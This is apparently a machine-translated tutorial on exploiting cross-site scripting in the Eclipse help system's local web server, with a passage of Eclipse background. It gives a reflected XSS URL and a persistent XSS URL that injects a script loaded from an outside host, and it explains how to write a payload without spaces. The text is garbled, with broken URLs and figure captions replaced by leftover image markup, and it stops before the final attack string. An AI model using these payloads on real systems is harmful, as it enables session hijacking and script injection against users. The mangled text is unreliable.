Kang Kai
Eclipse is an open-source and Java-based scalable development platform. It is widely used in the world. This article describes how to exploit a cross-site scripting vulnerability on the local Eclipse Web server. More importantly, we will learn an advanced technique for dealing with space characters in a valid load.
I. Introduction to Eclipse
Eclipse is an open-source and Java-based scalable development platform. In itself, it is only a framework and a set of services, used to build a development environment through plug-in components. Fortunately, Eclipse comes with a standard plug-in set, including Java development tools. Although most users are happy to use Eclipse as a Java IDE, the goal of Eclipse is not limited to this. Eclipse also includes the Plug-in Development Environment (Plug-in Development Environment, PDE). This component is mainly used by software developers who want to expand Eclipse, because it allows them to build tools that are seamlessly integrated with the Eclipse environment. Because everything in Eclipse is a plug-in, for Eclipse to provide plug-ins, and to provide users with a consistent and unified integrated development environment, all Tool developers have the same place to play.
This equality and consistency is not limited to Java development tools. Although Eclipse is developed in Java, its usage is not limited to Java. For example, plug-ins supporting programming languages such as C/C ++, COBOL, and Eiffel are available, or is expected to be released. The Eclipse framework can also be used as the basis for other application types unrelated to software development, such as the content management system.
An outstanding example of Eclipse-based applications is IBM's WebSphere Studio Workbench, which forms the basis of the IBM Java development tool series. For example, WebSphere Studio Application Developer adds support for JSP, servlet, EJB, XML, Web Services, and database access.
Ii. Cross-Site Scripting in Eclipse
Eclipse has been widely used, so its vulnerabilities will affect many users. However, the security vulnerabilities discussed in this article have been patched and available, so let's discuss them as much as possible. Previously, the Eclipse help system has discovered XSS security vulnerabilities. Obviously, all Eclipse-based products also have this vulnerability. The following describes a newly discovered vulnerability.
This vulnerability is essentially caused by XSS problems on the local running Web servers. If the user is running IE, they may be troubled by this problem.
When you click "Help Contents" in the "Help" menu, the system starts a Web server on the local computer. Further investigation shows that the server is Apache Coyote 1.1. At first glance, the Web server is started from a pseudo-random port, but in fact some port numbers are used more frequently. Of course, the random number generation algorithm for port numbers is not covered in this article. If you are interested, you can study it yourself.
Well, we only have one goal, that is, to win Eclipse. The following is the address of the XSS reflection vulnerability in the Eclipse help system:
Http: // localhost: port/help/advanced/searchView. jsp? SearchWord = a ");} alert (xss );>
Enter the address above in the address bar of the browser and you will see the following friendly picture:
498) this. style. width = 498; "border = 0> |
Figure 1 pop-up Alert box |
The addresses with persistent XSS vulnerabilities are as follows:
Jsp? Operation = add & workingSet = % 3E % 3 Cscript % 20src % 3 Dhttp % 3A % 2F % 2F1. 2.3.4% 2Fa. js % 3E % 3C % 2 Fscript % 3E & hrefs = % 2Fcom. adobe. flexbuilder. help. api % 2Ftoc. xml & oldName "> http: // localhost: port/help/advanced/workingSetManager. jsp? Operation = add & workingSet =
% 3E % 3 Cscript % 20src % 3 Dhttp % 3A % 2F % 2F1. 2.3.4% 2Fa. js % 3E % 3C % 2 Fscript % 3E & hrefs = % 2Fcom. adobe. flexbuilder. help. api % 2Ftoc. xml & oldName =
When we test a reflection-type XSS attack on Eclipse, we must face the problem that Eclipse does not automatically convert % 20 and space characters, so we need to avoid this problem, however, this is not too difficult. So how to write a JavaScript payload without space characters? In fact, this is very simple. Is the sample code for the payload:
498) this. style. width = 498; "border = 0> |
Figure 2 Sample Code of valid load |
First, the keyword "var" is not required. We can perform implicit variable declaration in JavaScript, so we can completely remove these keywords, so there is no space between the variable name and the keyword. But what about other content? Don't worry. What I want to do next is to remove all unnecessary space characters and change them to the following:
498) this. style. width = 498; "border = 0> |
Figure 3 Example code of valid loads after space reduction |
The above code looks much more compact, but there are still space characters. So what we need to do below is to make everything into a string and replace the space character with "..." without double quotation marks.
498) this. style. width = 498; "border = 0> |
Figure 4 convert a valid load into a single string |
Note that because we use the ".." character instead of the space character, we cannot use the eval function to execute this string as a JavaScript expression. Instead, we need to use the replace function.
498) this. style. width = 498; "border = 0> |
Figure 5 convert a valid load into a single string |
Now we get the XSS Attack String as follows:
498) this. style. width = 498; |